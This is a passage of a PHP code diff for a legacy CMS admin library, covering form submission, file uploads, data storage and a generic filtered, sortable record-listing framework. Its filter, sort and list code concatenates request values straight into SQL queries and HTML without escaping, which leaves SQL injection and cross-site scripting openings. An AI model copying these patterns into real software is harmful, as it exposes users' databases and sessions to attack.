+ $res['opt_num'] = $inp;
+ $opts = explode( "|", $mf['data1'] ); // Separate Options
+ if( $inp != '' ) // If an options is selected
+ {
+ $x = explode( "~", $opts[$inp-1] ); // Separate data for selected option
+ $res['value'] = $x[0]; // Use option name
+ if( $x[2] != '' )
+ $res['numb_val'] = $x[2];
+
+ }
+ else
+ $res['value'] = '';
+
+ $opts = explode( "|", $mf['data1'] );
+
+ // Check selected button for Sub-Form
+
+ $n = 1;
+ foreach( $opts as $opt )
+ {
+ $an = explode( "~", $opt );
+ if( $inp == $n && !empty($an[1]) )
+ {
+ $sub = magic_form_submit( $an[1], $mf_fiid, $mf_def_data, $mf_level );
+
+ if( !$sub['success'] )
+ $mf_results['problem'] .= $sub['problem'];
+ else
+ $mf_total_value += $sub['total_value'];
+ }
+ $n++;
+ }
+
+ break;
+
+ case 7: // File Upload
+
+ // Note that $inp is the /temp file name for the uploaded file
+
+ $existing_filename = $GLOBALS['exist_mf_'.$mf['id']];
+ $new_filename = trim($GLOBALS['mf_'.$mf['id'].'_name']);
+
+ // If delete is requested or there's a new file upload AND there's an existing file, then delete the old one
+
+ if( $mf_def_data != null )
+ {
+ // Note that $inp is the /temp file name for the uploaded file
+
+ $existing_filename = stripslashes($GLOBALS['exist_mf_'.$mf['id']]);
+ $new_filename = trim(stripslashes($GLOBALS['mf_'.$mf['id'].'_name']));
+
+ // If delete is requested or there's a new file upload AND there's an existing file, then delete the old one
+
+ if( ( $GLOBALS['delete_mf_'.$mf['id']] == 'on' || $new_filename != '' ) && $existing_filename != '' )
+ {
+ file_delete( $existing_filename );
+ $existing_filename ='';
+ }
+
+ if( trim($inp) != '' && $inp != 'none' )
+ {
+ if( !($new_filename = file_upload( $inp, $new_filename )) )
+ {
+ $mf_results['problem'] .= '<li>Unable to upload file for "'.$mf['title'].'".</li>'."\n";
+ $new_filename = '';
+ }
+ }
+ else
+ $new_filename = $existing_filename;
+ }
+ else
+ $new_filename = $mf_def_data[$mf_field_id]; // Previous data was supplied, so just use that
+
+ $res['value'] = $new_filename;
+ $res['txt_val'] = '<a href="'.SI_BASE_FILE_URL.'/'.$new_filename.'" target="file_page">'.$new_filename.'</a>';
+
+
+ break;
+
+ default:
+ break;
+
+ } // Type
+
+ // Push the current result and any sub-form results onto the end of the result array.
+
+ $mf_results['data'][$mf['id']] = $res;
+ $mf_results['csv'] .= '"'.$res['id'].'","'.$res['level'].'","'.$res['title'].'","'.$res['txt_typ'].'","'.$res['value'].'","'.$res['numb_val'].'","'.($res['valid']?'t':'f').'","'.($res['required']?'t':'f').'","'.$res['failure'].'"'."\n";
+ $x = ''; for( $i=0 ; $i<$mf_level ; $i++ ) $x .= ' ';
+ $mf_results['html'] .= '<tr><td align="left">'.$res['id'].'</td><td align="left">'.$x.$res['title'].' </td><td align="left">'.$res['txt_typ'].' </td><td align="left">'.( $res['txt_val'] != '' ? $res['txt_val'] : $res['value'] ).' </td><td align="left">'.$res['numb_val'].' </td><td align="left">'.($res['valid']?'Yes':'No').'</td><td align="left">'.($res['required']?'Yes':'No').'</td><td align="left">'.$res['failure'].' </td></tr>'."\n";
+
+ // If there's a sub-form
+
+ if( is_array($sub) )
+ {
+
+ // Add data from sub-form
+
+ $mf_results['html'] .= $sub['html'];
+ $mf_results['csv'] .= $sub['csv'];
+ while( list($key, $val) = each($sub['data']) )
+ $mf_results['data'][$key] = $val;
+ }
+
+ } // Active
+
+ } // Each field
+
+ }
+
+ if( $mf_level == 1 )
+ $mf_results['html'] = '<table border="1" cellpadding="2" cellspacing="0"><tr><th align="left">Field ID</th><th align="left">Title</th><th align="left">Type</th><th align="left">Data</th><th align="left">Value</th><th align="left">Data Valid</th><th align="left">Required</th><th align="left">Failure</th></tr>'."\n".$mf_results['html']."</table>\n";
+
+ if( $mf_results['problem'] != '' )
+ $mf_results['success'] = false;
+
+ $mf_results['total_value'] = $mf_total_value;
+
+ return( $mf_results );
+
+ }
+
+ // MagicForm - Store Data
+
+function magic_form_store_data( $mf_id, $mf_fiid, $mf_def_data )
+ {
+
+ // Delete any files associated with this data
+
+ if( ($pd = db_auto_get_data( "SELECT * FROM ".MF_DATA_TABLE." WHERE fiid = $mf_fiid;")) )
+ foreach( $pd as $p )
+ {
+ // For each field of data stored, check if there's a file associated with it
+
+ switch( $p['type'] )
+ {
+ case 7: // File Upload
+ file_delete( $p['value'] );
+ break;
+
+ default:
+ break;
+ }
+ }
+
+ // Delete previous entries using the supplied form instance id ($mf_fiid)
+
+ $qs = "BEGIN;\nDELETE FROM ".MF_DATA_TABLE." WHERE fiid = $mf_fiid;\n";
+
+ // Store new data
+
+ foreach( $mf_def_data as $mf )
+ {
+ $qs .= "INSERT INTO ".MF_DATA_TABLE." ( fiid, form_id, field_id, level, title, type, txt_type, value, numb_val, txt_value, opt_num, valid, required, failure )
+ VALUES ( $mf_fiid, $mf_id, '".addslashes($mf['id'])."', ".$mf['level'].", '".addslashes($mf['title'])."', ".$mf['type'].", '".addslashes($mf['txt_type'])."', '".addslashes($mf['value'])."',
+ ".($mf['numb_val']!=''?$mf['numb_val']:0).", '".addslashes($mf['txt_value'])."', ".($mf['opt_num']>0?$mf['opt_num']:0).", '".($mf['valid']?'t':'f')."', '".($mf['required']?'t':'f')."', '".addslashes($mf['failure'])."' );\n";
+ }
+ $qs .= "COMMIT;\n";
+
+ if( !db_auto_exec($qs) )
+ return( false );
+ else
+ return( true );
+
+ }
+
+
+/***********************************************************************
+* *
+* Support funtions for High Level Admin Functions *
+* *
+***********************************************************************/
+
+
+ // Explode a string into pieces and trims whitespace from ends of each piece.
+
+function explode_trim( $separator, $string )
+{
+
+ $a = explode( $separator, $string );
+
+ foreach( $a as $key => $data )
+ $a[$key] = trim($data);
+
+ return( $a );
+
+}
+
+
+/***********************************************************************
+* *
+* High Level Admin Functions *
+* *
+***********************************************************************/
+
+ // The "JFDI" function - Fully process a data table
+
+function admin_process_records_r( $table, $where, $order, $conn_str, $id, $fields,
+ $options, $rows, $url, $action, $params, $a_title, $view, $Option, $start, $other_options = '', $a_title_view = '', $quick_tip = '', $id_field = '' )
+{
+
+ $a_title_view = ereg_replace( "\\{action\\}", $Option, $a_title_view );
+
+ switch( $Option )
+ {
+
+ case "Add":
+
+ return( admin_new_record_r
+ (
+ $table,
+ $conn_str,
+ admin_field_select( $fields, 'n' ),
+ $url,
+ $action,
+ $params,
+ (empty($a_title_view)?"<P><SPAN CLASS=\"title1\">New $a_title</SPAN><P>":$a_title_view),
+ $view['Add'],
+ $other_options,
+ $quick_tip
+ )
+ );
+
+ break;
+
+ case "Add New":
+
+ $r = admin_add_new_record_r
+ (
+ $table,
+ $conn_str,
+ admin_field_select( $fields, 'a' ),
+ $url,
+ $action,
+ $params,
+ (empty($a_title_view)?"<P><SPAN CLASS=\"title1\">Add New $a_title</SPAN><P>":$a_title_view),
+ $view['Add New'],
+ $quick_tip
+ );
+
+ // If successfull see if we can get the new record ID and view it
+/* Don't do this right now...
+ *
+ if( $r['status'] )
+ {
+ // On success Add New returns the OID of the new record - get ID for next call
+
+ if( ($d = db_auto_get_row( "SELECT id FROM $table WHERE oid = ".$r['status'].";" )) )
+ $id = $d['id'];
+ else
+ return( $r ); // If we can't get ID then just give up and return
+
+ // If all is OK, then call again to do a View
+
+ $r = admin_process_records_r( $table, $where, $order, $conn_str, $id, $fields, $options, $rows, $url, $action, $params, $a_title, $view, 'View', $start, $other_options, $a_title_view, $quick_tip );
+ }
+*/
+
+ return( $r );
+
+ break;
+
+ case "Edit":
+
+ return( admin_edit_record_r
+ (
+ $table,
+ $conn_str,
+ $id,
+ admin_field_select( $fields, 'e' ),
+ $url,
+ $action,
+ $params,
+ (empty($a_title_view)?"<P><SPAN CLASS=\"title1\">Edit $a_title</SPAN><P>":$a_title_view),
+ $view['Edit'],
+ $other_options,
+ $quick_tip
+ )
+ );
+
+ break;
+
+ case "Update":
+
+ $r = admin_update_record_r
+ (
+ $table,
+ $conn_str,
+ $id,
+ admin_field_select( $fields, 'u' ),
+ $url,
+ $action,
+ $params,
+ (empty($a_title_view)?"<P><SPAN CLASS=\"title1\">Update $a_title</SPAN><P>":$a_title_view),
+ $view['Update'],
+ $quick_tip
+ );
+
+ // If successful update then call again to do a View of the updated record
+
+ if( $r['status'] )
+ return( admin_process_records_r( $table, $where, $order, $conn_str, $id, $fields, $options, $rows, $url, $action, $params, $a_title, $view, 'View', $start, $other_options, $a_title_view, $quick_tip ) );
+
+ return( $r );
+
+ break;
+
+ case "Delete":
+
+ return( admin_delete_record_r
+ (
+ $table,
+ $conn_str,
+ $id,
+ admin_field_select( $fields, 'd' ),
+ $options,
+ $url,
+ $action,
+ $params,
+ (empty($a_title_view)?"<P><SPAN CLASS=\"title1\">Delete $a_title</SPAN><P>":$a_title_view),
+ $view['Delete'],
+ $quick_tip
+ )
+ );
+
+ break;
+
+ case "Confirm Delete":
+
+ $r = admin_confirm_delete_record_r
+ (
+ $table,
+ $conn_str,
+ $id,
+ admin_field_select( $fields, 'c' ),
+ $url,
+ $action,
+ $params,
+ (empty($a_title_view)?"<P><SPAN CLASS=\"title1\">Confirm Delete $a_title</SPAN><P>":$a_title_view),
+ $view['Confirm Delete'],
+ $quick_tip
+ );
+
+ // If successful delete then call again to do a List
+
+ if( $r['status'] )
+ return( admin_process_records_r( $table, $where, $order, $conn_str, $id, $fields, $options, $rows, $url, $action, $params, $a_title, $view, 'List', $start, $other_options, $a_title_view, $quick_tip ) );
+
+ return( $r );
+
+ break;
+
+ case "View":
+
+ return( admin_view_record_r
+ (
+ $table,
+ $conn_str,
+ $id,
+ admin_field_select( $fields, 'v' ),
+ $url,
+ $action,
+ $params,
+ (empty($a_title_view)?"<P><SPAN CLASS=\"title1\">View $a_title</SPAN><P>":$a_title_view),
+ $view['View'],
+ $other_options,
+ $quick_tip,
+ $id_field
+ )
+ );
+
+ break;
+
+ default:
+
+ return( admin_list_records_r
+ (
+ $table,
+ $where,
+ $order,
+ $conn_str,
+ admin_field_select( $fields, 'l' ),
+ $options,
+ FALSE,
+ $rows,
+ $start,
+ $url,
+ $action,
+ $params,
+ admin_field_select( $fields, 'f' ),
+ (empty($a_title_view)?"<P><SPAN CLASS=\"title1\">List $a_title</SPAN><P>":$a_title_view),
+ $view['List'],
+ $id_field,
+ $quick_tip
+ )
+ );
+
+ break;
+
+ } // switch( $Option )
+
+}
+
+function admin_process_records( $table, $where, $order, $conn_str, $id, $fields,
+ $options, $rows, $url, $action, $params, $a_title, $view, $Option, $start, $other_options = '', $a_title_view = '', $quick_tip = '' )
+{
+ $r = admin_process_records_r( $table, $where, $order, $conn_str, $id, $fields,
+ $options, $rows, $url, $action, $params, $a_title, $view, $Option, $start, $other_options, $a_title_view, $quick_tip );
+ echo $r['text'];
+ return( $r['status'] );
+}
+
+
+ // List records from a table
+
+function admin_list_records_r( $table, $where, $order, $conn_str, $fields,
+ $options, $fail_mode, $rows = 20, $start = 0,
+ $url, $action, $params, $filters, $a_title, $view = "", $id_field = "", $quick_tip = '' )
+{
+
+ $ret = '';
+
+ // Make all submitted parameters available
+
+// extract($GLOBALS[HTTP_GET_VARS]);
+// extract($GLOBALS[HTTP_POST_VARS]);
+
+ // Make sure we have something rational for rows and start
+
+ if( $rows == '' ) $rows = 20;
+ if( $start == '' ) $start = 0;
+
+ // Break out configuration data
+
+ $field_table = explode_trim( "|", $fields );
+
+ // Don't be surprised if last field is blank
+
+ if( trim($field_table[count($field_table)-1]) == "" )
+ array_pop( $field_table );
+
+ foreach( $field_table as $key => $r )
+ {
+ $field_table[$key] = explode_trim( ",", $r );
+ $hidden[$key] = ereg( "HIDDEN", $field_table[$key][3] );
+ }
+
+ $operation_column = $option_new = $option_view = $option_edit = $option_delete = $option_duplicate = $option_filter = $option_nopaging = $option_noborder = $option_opview = FALSE;
+
+ if( ! empty($options) )
+ {
+ $option_table = explode_trim( ",", $options );
+ foreach( $option_table as $option )
+ {
+
+ $op = explode_trim( ".", $option ); // Separate option name from option parameters
+
+ switch( $op[0] )
+ {
+ case "new":
+ $option_new = TRUE;
+ break;
+
+ case "view":
+ $option_view = TRUE;
+ $operation_column = TRUE;
+ break;
+
+ case "edit":
+ $option_edit = TRUE;
+ $operation_column = TRUE;
+ break;
+
+ case "delete":
+ $option_delete = TRUE;
+ $operation_column = TRUE;
+ break;
+
+ case "duplicate":
+ $option_duplicate = TRUE;
+ $operation_column = TRUE;
+ break;
+
+ case "filter":
+ $option_filter = TRUE;
+ break;
+
+ case "sortlinks":
+ $option_sortlinks = TRUE;
+ break;
+
+ case "nopaging":
+ $option_nopaging = TRUE;
+ break;
+
+ case "noborder":
+ $option_noborder = TRUE;
+ break;
+
+ case "opview":
+ $option_opview = TRUE;
+ $opview = $op[1]; // Get view for operation column
+ $operation_column = TRUE;
+ break;
+
+ default:
+// $ret .= '<H2><FONT COLOR="red">ERROR: Illegal Option Specified: -'.$option.'-</FONT></H2>';
+ break;
+ }
+ }
+ }
+
+ // Check for additional parameters that are passed
+
+ $link_params = $form_params = "";
+ if( !empty($params) )
+ {
+ $param = explode_trim( "|", $params ); // Separate parameters
+ foreach( $param as $p )
+ {
+ $x = explode_trim( ".", $p ); // Separate Names from Values
+ $link_params .= "&".$x[0]."=".urlencode($x[1]);
+ $form_params .= '<INPUT TYPE="hidden" NAME="'.$x[0].'" VALUE="'.$x[1].'">';
+ }
+ }
+
+ // Check if a column lable has been clicked to cause a sort of that column
+
+ if( !empty($GLOBALS['sortclicked_new']) )
+ {
+
+ // Clicking the same column title toggles between ascending and descending sort
+
+ if( $GLOBALS['list_sort_direction'] == 'Forward' )
+ $list_sort_direction = "Backward";
+ else
+ $list_sort_direction = 'Forward';
+
+ $sortclicked = $GLOBALS['sortclicked_new'];
+ $link_params .= '&sortclicked='.$sortclicked."&list_sort_direction=$list_sort_direction";
+ $form_params .= '<INPUT TYPE="hidden" NAME="sortclicked" VALUE="'.$sortclicked.'">';
+ $form_params .= '<INPUT TYPE="hidden" NAME="list_sort_direction" VALUE="'.$list_sort_direction.'">';
+ }
+ elseif( !empty($GLOBALS['sortclicked']) )
+ {
+ $sortclicked = $GLOBALS['sortclicked'];
+ $list_sort_direction = $GLOBALS['list_sort_direction'];
+ $link_params .= '&sortclicked='.$sortclicked."&list_sort_direction=$list_sort_direction";
+ $form_params .= '<INPUT TYPE="hidden" NAME="sortclicked" VALUE="'.$sortclicked.'">';
+ $form_params .= '<INPUT TYPE="hidden" NAME="list_sort_direction" VALUE="'.$list_sort_direction.'">';
+ }
+
+ // Display optional filter search fields and build query string
+
+ $qs = empty($where) ? "WHERE TRUE " : "WHERE ".$where ;
+
+ if( $option_filter )
+ {
+ $filter_out = '
+ <FORM ACTION="'.$url.'">
+ <INPUT TYPE="hidden" NAME="Option" VALUE="List">
+ <B>Select items to list</B><BR>
+ <TABLE BORDER="0">
+ ';
+
+ $filter_link = ""; // Added to link to pass on filter data
+ $filter = explode_trim( "|", $filters );
+ foreach( $filter as $filter_field )
+ {
+ $f = explode_trim( ",", $filter_field ); // Split field specs
+ $ft = explode_trim( "~", $f[2] ); // Separate QuickTips from titles
+ $w = explode_trim( "`", $f[1] ); // Separate out any format spec
+ $x = explode_trim( ".", $w[0] ); // Split type specs
+ $option = $x[1]!="" ? $x[1] : "none" ;
+ $filter_value = isset($f[3]) ? $GLOBALS[$f[3]] : $GLOBALS[$f[0]]; // if no value field specified, use field name
+
+ // Display Filter Title - With QuickTip if specified
+
+ if( count($ft) > 1 )
+ $filter_out .= '<TR><TH ALIGN="right" VALIGN="top">'.quick_tip( $ft[0], $ft[1] ).'</TH><TD ALIGN="left">';
+ else
+ $filter_out .= '<TR><TH ALIGN="right" VALIGN="top">'.$ft[0].'</TH><TD ALIGN="left">';
+
+ // Add any filter value to $filter_link
+
+ if( !empty($filter_value) )
+ {
+ if( is_array($filter_value) )
+ {
+ $fvc = 0;
+ foreach( $filter_value as $fv )
+ if( trim($fv) != '' )
+ {
+ $filter_link .= "&".$f[0]."[$fvc]=".$fv;
+ $fvc++;
+ }
+ }
+ else
+ $filter_link .= "&".$f[0]."=".$filter_value;
+ }
+
+ // Display filter field
+
+ switch( $x[0] ) // Handle different field types
+ {
+ case "password":
+ case "image":
+ $filter_out .= ' '; // No filters for these types
+ break;
+
+ case "url":
+ case "text":
+ case "textbox":
+ case "inet":
+ $filter_out .= '<INPUT TYPE="text" NAME="'.$f[0].'" VALUE="'.$filter_value.'">';
+ if( !empty($filter_value) ) // If a value is passed, add to query
+ switch( $option )
+ {
+ case "like":
+ $qs .= " AND ".$f[0]." LIKE '%".$filter_value."%'";
+ break;
+ case "begin":
+ $qs .= " AND ".$f[0]." ~* '^".$filter_value."'";
+ break;
+ case "any":
+ default:
+ $qs .= " AND ".$f[0]." ~* '".$filter_value."'";
+ break;
+ }
+ break;
+
+ case "state":
+ $filter_out .= build_picklist( $f[0], $GLOBALS['si_states_array'], $filter_value, 'standard', 'blank' );
+ if( $filter_value != '' )
+ $qs .= ' AND '.$f[0]." = '".$filter_value."'";
+ break;
+
+ case "country":
+ $filter_out .= build_picklist( $f[0], $GLOBALS['si_countries_array'], $filter_value, 'standard', 'blank' );
+ if( $filter_value != '' )
+ $qs .= ' AND '.$f[0]." = '".$filter_value."'";
+ break;
+
+ case "date":
+ $filter_out .= '<INPUT TYPE="text" NAME="'.$f[0].'" VALUE="'.$filter_value.'">';
+ if( !empty($filter_value) ) // If a value is passed, add to query
+ switch( $option )
+ {
+ default: // Options are not used for date at this time
+ $qs .= " AND ".$f[0]." = '".$filter_value."'";
+ break;
+ }
+ break;
+
+ case "daterange":
+ // Clean up dates
+ if( trim($GLOBALS[$f[3].'_FROM'] ) != '' ) $GLOBALS[$f[3].'_FROM'] = date( 'n/j/Y', strtotime($GLOBALS[$f[3].'_FROM']) );
+ if( trim($GLOBALS[$f[3].'_TO'] ) != '' ) $GLOBALS[$f[3].'_TO'] = date( 'n/j/Y', strtotime($GLOBALS[$f[3].'_TO']) );
+ $filter_out .= 'From <INPUT TYPE="text" NAME="'.$f[0].'_FROM" VALUE="'.$GLOBALS[$f[3].'_FROM'].'"> To <INPUT TYPE="text" NAME="'.$f[0].'_TO" VALUE="'.$GLOBALS[$f[3].'_TO'].'">';
+ // If Dates are not valid
+ if( ( trim($GLOBALS[$f[3].'_FROM']) != '' && strtotime($GLOBALS[$f[3].'_FROM']) === -1 ) ||
+ ( trim($GLOBALS[$f[3].'_TO']) != '' && strtotime($GLOBALS[$f[3].'_TO']) === -1 ) )
+ {
+ $filter_out .= '<BR>(<FONT COLOR="red">Note:</FONT> Invalid date specified)';
+ break;
+ }
+ else
+ {
+ // If we have both dates of a range
+ if( !empty($GLOBALS[$f[3].'_FROM']) && !empty($GLOBALS[$f[3].'_TO']) ) // If a value is passed, add to query
+ switch( $option )
+ {
+ default: // Options are not used for date at this time
+ $qs .= " AND ".$f[0]." BETWEEN '".$GLOBALS[$f[3].'_FROM']."' AND '".$GLOBALS[$f[3].'_TO']."'";
+ break;
+ }
+ else // Otherwise check if there's only one date submitted
+ if( !empty($GLOBALS[$f[3].'_FROM']) || !empty($GLOBALS[$f[3].'_TO']) )
+ $filter_out .= '<BR>(<FONT COLOR="red">Note:</FONT> both From and To required to specify date range)';
+ }
+ break;
+
+ case "order":
+ case "int":
+ case "float":
+ case "fixed":
+ $filter_out .= '<INPUT TYPE="text" NAME="'.$f[0].'" VALUE="'.$filter_value.'">
+ ';
+ if( !empty($filter_value) ) // Note: No filter options on type "int"
+ $qs .= " AND ".$f[0]." = ".$filter_value."";
+ break;
+
+ case "checkbox":
+ if( empty($filter_value) )
+ $x = 1;
+ else
+ $x = $filter_value;
+ $filter_out .= '
+ <SELECT NAME="'.$f[0].'">
+ <OPTION VALUE="1" '.($x==1?"SELECTED":"").'>Don\'t care
+ <OPTION VALUE="2" '.($x==2?"SELECTED":"").'>Yes
+ <OPTION VALUE="3" '.($x==3?"SELECTED":"").'>No
+ </SELECT>
+ ';
+ switch( $x )
+ {
+ case "2":
+ $qs .= " AND ".$f[0]." = 't'";
+ break;
+ case "3":
+ $qs .= " AND ".$f[0]." = 'f'";
+ break;
+ case "1":
+ default:
+ break;
+ }
+ break;
+
+ case "list" :
+ // If picklist options
+ $opts_table = array ();
+ $opts = explode_trim("~", $x[1]); // Separate list options
+ foreach ($opts as $opt)
+ {
+ $z = explode_trim("^", $opt); // Separate value from displayed text
+ $opts_table[$z[0]] = $z[1];
+ }
+ $opts_def = $GLOBALS[$f[3]] == '' ? '-1' : $GLOBALS[$f[3]];
+ $filter_out .= build_picklist($f[0], $opts_table, $opts_def, 'standard', $x[3].($x[3]!=''?'~':'')."blank");
+
+ // If there's any list options selected
+ if( is_array($GLOBALS[$f[3]]) )
+ {
+ $qss .= ' AND ( ';
+ $sep = '';
+ foreach( $GLOBALS[$f[3]] as $v ) // For each option specified
+ {
+ if( trim($v) != '' ) // If the option is something other than ''
+ {
+ $qss .= $sep.$f[0]." = ".$v."";
+ $sep = ' OR ';
+ }
+ }
+ if( $sep != '' ) // If there were options selected other than ''
+ $qs .= $qss.' )'; // add to the query
+ }
+ else
+ {
+ if( $GLOBALS[$f[3]] != '' )
+ $qs .= ' AND '.$f[3].' = '.$GLOBALS[$f[3]];
+ }
+
+ break;
+
+
+ case "category":
+
+ // If picklist is selected - use that for selection
+
+ if( strstr($x[3],'picklist') )
+ {
+ if( ($nodes = cat_get_nodes($x[1])) )
+ {
+ $filter_out .= '<SELECT NAME="'.$f[0].'"><OPTION VALUE="">';
+
+ reset($nodes);
+ while( list($key, $val) = each($nodes) )
+ {
+ $filter_out .= '<OPTION VALUE="'.$val['id'].'">';
+ if( strstr($x[3],'fullpath') )
+ $filter_out .= $val['cat_fullpath'];
+ else
+ {
+ for( $i=0 ; $i<$val['cat_level'] ; $i++ )
+ $filter_out .= " ";
+ $filter_out .= $val['name'];
+ }
+ }
+ $filter_out .= '</SELECT>';
+ }
+ else
+ $filter_out .= 'No categories listed.';
+ }
+ else // Otherwise use pop-up
+ {
+
+ // Check if a value for this field is supplied
+ if( !empty($filter_value) )
+ {
+ if( ($cval = cat_get_node( $x[1], "id = ".$filter_value ) ) )
+ {
+ $cat_id = $filter_value;
+ if( strstr($x[3],'fullpath') )
+ $cat_name = $cval['cat_fullpath'];
+ else
+ $cat_name = $cval['cat_name'];
+ }
+ }
+ else
+ {
+ $cat_id = 0;
+ $cat_name = " ";
+ }
+
+ $pop_width = !empty($x[4]) ? $x[4] : 200 ;
+ $pop_height = !empty($x[5]) ? $x[5] : 300 ;
+ $edit_width = !empty($x[6]) ? $x[6] : 400 ;
+ $edit_height = !empty($x[7]) ? $x[7] : 500 ;
+
+ $filter_out .= "
+ <script language=\"JavaScript1.2\">
+ <!--
+ function category_select_popup_".$f[0]."( target )
+ {
+ // Pass values to the calendar
+
+ tempX = 400;
+ tempY = 300;
+
+ node_id = this.document.getElementById( target ).value;
+ var theUrl='".SI_BASE_URL."/glm_apps/category_select_popup.phtml?id=' + node_id + '&field_name=".$f[0]."&table=".$x[1]."&options=".urlencode($x[3])."&edit_width=".$edit_width."&edit_height=".$edit_height."&pop_width=".$pop_width."&pop_height=".$pop_height."';
+
+ tempX = tempX - 90;
+ //tempY = tempY - 170;
+
+ if (navigator.appName == 'Netscape')
+ {
+ CategoryWind = window.open( theUrl, 'Calendar','scrollbars=yes,toolbar=no,resizable=yes,width=".$pop_width.",height=".$pop_height.",screenx=' + tempX + ',screeny=' + tempY,1 );
+ }
+ else
+ {
+ CategoryWind = window.open( theUrl, 'Calendar','scrollbars=no,toolbar=no,resizable=no,width=".$pop_width.",height=".$pop_height.", top=' + tempY + ', left=' + tempX,1 );
+ }
+
+ CategoryWind.focus();
+ }
+ -->
+ </script>
+ ";
+
+ $filter_out .= '<INPUT TYPE="text" NAME="'.$f[0].'_NAME" ID="'.$f[0].'_NAME" VALUE="'.$cat_name.'" SIZE="'.$x[2].'" READONLY="readonly" STYLE="background-color: #eeeeee;">
+ <INPUT TYPE="hidden" NAME="'.$f[0].'" ID="'.$f[0].'" VALUE="'.$cat_id.'">
+ <A HREF="javascript:category_select_popup_'.$f[0].'(\''.$f[0].'\')">[Change]</A>
+ ';
+ }
+
+ if( $filter_value != '' )
+ $qs .= ' AND '.$f[0]." = '".$filter_value."'";
+
+ break;
+
+ case "pointer":
+
+ // Get values from other table
+
+ $w = !empty($x[4]) ? " WHERE ".$x[4] : "" ;
+ $d = db_auto_get_data( "SELECT * FROM ".$x[1].$w." ORDER BY ".$x[2].";", $conn_str, FALSE, 500 );
+
+ $p_id_field = !empty($x[3]) ? $x[3] : 'id'; // If no id field supplied, assume "id"
+
+ // Build picklist data
+
+ unset( $da );
+ if( !empty($d) )
+ {
+ while( list($key, $val) = each($d) )
+ $da[$val[$p_id_field]] = $val[$x[2]];
+ $filter_out .= build_picklist( $f[0], $da, $filter_value, "standard", "blank" );
+ }
+ else
+ $filter_out .= '<FONT COLOR="red">No records from which to build picklist.</FONT>';
+
+ // If value supplied, add to query WHERE clause
+
+ if( !empty($filter_value) )
+ switch( $option )
+ {
+ case "like":
+ case "begin":
+ case "any":
+ $filter_out .= '<FONT COLOR="red">Filter option for type "pointer" not valid. Must use "exact" for type pointer.</FONT>';
+ break;
+ case "exact":
+ default:
+ $qs .= " AND ".$f[0]." = '".$filter_value."'";
+ break;
+ }
+ break;
+
+ default:
+ $filter_out .= '<FONT COLOR="red">UNKNOWN FILTER FIELD TYPE</FONT>';
+ break;
+
+ }
+ $filter_out .= '</TR>
+ ';
+ }
+ $filter_out .= '</TABLE>
+ <INPUT TYPE="hidden" NAME="Action" VALUE="'.$action.'">
+ <INPUT TYPE="submit" VALUE="Show Selected Results">
+ '.$form_params.'
+ </FORM>
+ ';
+ }
+
+ // If "new" option selected display link
+
+ if( $option_new )
+ $new_out = '<A HREF="'.$url.'?Action='.urlencode($action).$link_params.'&Option=Add">[Add New Entry]</A><BR>
+ ';
+ else
+ $new_out = "";
+
+
+ // Add in any ORDER BY clause (ignore anything after ".", which are nav options)
+
+ if( !empty($sortclicked) ) // Check if user clicked a column title
+ {
+ $qs .= ' ORDER BY '.$sortclicked;
+ if( $list_sort_direction == 'Backward' )
+ $qs .= " DESC";
+ }
+ else
+ if( !empty($order) )
+ {
+ $qs .= " ORDER BY ";
+ $ob_comma = "";
+ $order_array = explode_trim( ",", $order ); // Break out multiple order by field names
+ foreach( $order_array as $of )
+ {
+ $x = explode_trim( ".", $of ); // Break out field name from options
+ $qs .= $ob_comma.$x[0]; // Add field name to ORDER BY
+ if( ereg("order_descending", $of) ) // If order_descending use DESC order in ORDER BY for this field
+ $qs .= " DESC";
+ $ob_comma = ", "; // Next order by field will have a comma in front of it
+ }
+ }
+
+ // Get the data
+
+ $what_fields = "*";
+ if( $id_field != "" )
+ $what_fields = "*, ".$id_field." AS id";
+
+ $query_string = "SELECT ".$what_fields." FROM ".$table." ".$qs.";";
+
+ if( SI_DEBUG >= 1 ) $ret .= "<PRE>admin_list_records()[".__LINE__."]: Query String = $query_string</PRE><BR>";
+
+ $data = db_auto_get_data( $query_string, $conn_str, $fail_mode, $rows, $start );
+
+ if( $data )
+ {
+
+ // Determine how much data we got back
+
+ reset( $data );
+ $return_counts = explode( "|", key($data) );
+ $num = $return_counts[1];
+
+ // Calculate last entry on page
+
+ $end_list = $num>($start+$rows) ? $start+$rows : $num;
+
+
+ // Display page navigation
+
+ $nav_out = "";
+ if( $num > 0 && $option_nopaging == FALSE )
+ {
+ if( $start > 0 )
+ $nav_out .= '<A HREF="'.$url.'?Action='.urlencode($action).$link_params.$filter_link.'&start='.($start-$rows).'">previous</A>
+ ';
+ else
+ $nav_out .= "<I>previous</I> \n";
+
+ $nav_out .= ' <- <B>Results '.($start+1).' to '.($end_list).' of '.$num.'</B> ->
+ ';
+
+ if( $num > $end_list )
+ $nav_out .= '<A HREF="'.$url.'?Action='.urlencode($action).$link_params.$filter_link.'&start='.$end_list.'">next</A>
+ ';
+ else
+ $nav_out .= " <I>next</I>\n";
+ }
+
+
+ // Build field titles
+
+ $fieldcount = 0;
+ foreach( $field_table as $field )
+ {
+ $f2 = explode_trim( "~", $field[2] ); // Only use name, don't include QuickTip text.
+ $f2_name = $f2[0];
+ switch( $field[1] )
+ {
+ default:
+ if( $option_sortlinks )
+ {
+ $scd = '';
+
+ // Check if a column title has been clicked to cause a sort
+ if( $sortclicked == $field[0] )
+ {
+ // Indicate sort direction
+
+ if( $list_sort_direction == 'Forward' )
+ $scd = "v";
+ else
+ $scd = "^";
+ }
+ $outnames[$fieldcount++] = $scd.' <A HREF="'.$url.'?Action='.urlencode($action).'&Option=List'.$link_params.$filter_link.'&sortclicked_new='.$field[0].'">'
+ .$f2_name.'</A> '.$scd;
+ }
+ else
+ $outnames[$fieldcount++] = $f2_name;
+ break;
+ }
+ }
+
+ if( $operation_column )
+ $outnames[$fieldcount++] = 'Operation';
+
+
+ // For each result we're going to display
+
+ $reccount = 0;
+ foreach( $data as $key => $r )
+ {
+
+ // For each field in the result
+
+ $fieldcount = 0;
+ foreach( $field_table as $field )
+ {
+ $w = explode_trim( "`", $field[1] ); // Separate out any format spec
+ $f = explode_trim( ".", $w[0] ); // break out the field type specs
+
+ // If there's any field format spec, save that in our $outvals array
+
+ if( isset($w[1]) && trim($w[1]) != '' )
+ {
+ // Replace each {field_name} tag with {#} as needed to reference the correct $outvals[$reccount][#] entry
+
+ for( $i=0 ; $i<count($field_table) ; $i++ )
+ $w[1] = str_replace( '{'.$field_table[$i][0].'}', '{'.$i.'}', $w[1] );
+
+ // Save the new format spec
+ $outvals[$reccount][$fieldcount]['format'] = $w[1];
+ }
+
+ switch( $f[0] )
+ {
+
+ case "password":
